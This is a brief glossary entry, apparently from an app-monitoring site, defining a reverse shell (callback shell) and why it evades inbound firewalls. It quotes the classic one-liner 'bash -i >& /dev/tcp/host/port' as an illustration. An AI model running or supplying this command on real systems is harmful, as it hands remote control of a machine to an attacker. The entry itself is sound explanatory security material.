App Monitoring
Reverse Shell
Also: callback shell
A command shell that connects out from a compromised machine to the attacker, so inbound firewalls do not block it.
In more detail
Instead of the attacker connecting in, the victim machine dials out to a server the attacker controls and hands over a shell. Commands like bash -i >& /dev/tcp/host/port are the classic form. It is a sign that an attacker can already run code on the machine.